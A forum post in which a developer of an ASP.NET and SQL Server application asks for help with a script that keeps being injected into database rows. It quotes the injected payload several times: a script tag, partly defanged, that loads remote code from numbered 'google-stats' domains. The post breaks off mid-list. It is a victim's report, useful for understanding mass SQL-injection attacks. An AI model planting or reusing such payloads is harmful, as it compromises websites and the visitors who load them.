What is this - XSS attack oe SQL Injection

Hi All,


I am struggling with the problem since the last week. The apllication is built upon the follwing technologies - ASP.NET 1.1, SQL SERVER 2005, extensive use of JavaScript.



I saw last week that an unknown script was aapended to one or more columns of every row in some sertain tables. I removed that script but it re-appeared once again. The script looks something like this (PLEASE DO NOT CLICK ON THIS LINK....I DON'T KNOW WHAT IT WILL DO)</title><script src="http://google-stats50 . info /ur. php>".


When the script reappeared, it may appear with different link (PLEASE DO NOT CLICK ON LINKS BELOW)
1) </title><script src="http:// google-stats49 . info /ur. php>"
2) </title><script src="http:// google-stats48 . info /ur. php>"
3) </title><script src="http:// google-stats47 . info /ur. php>"
4) </title&g ...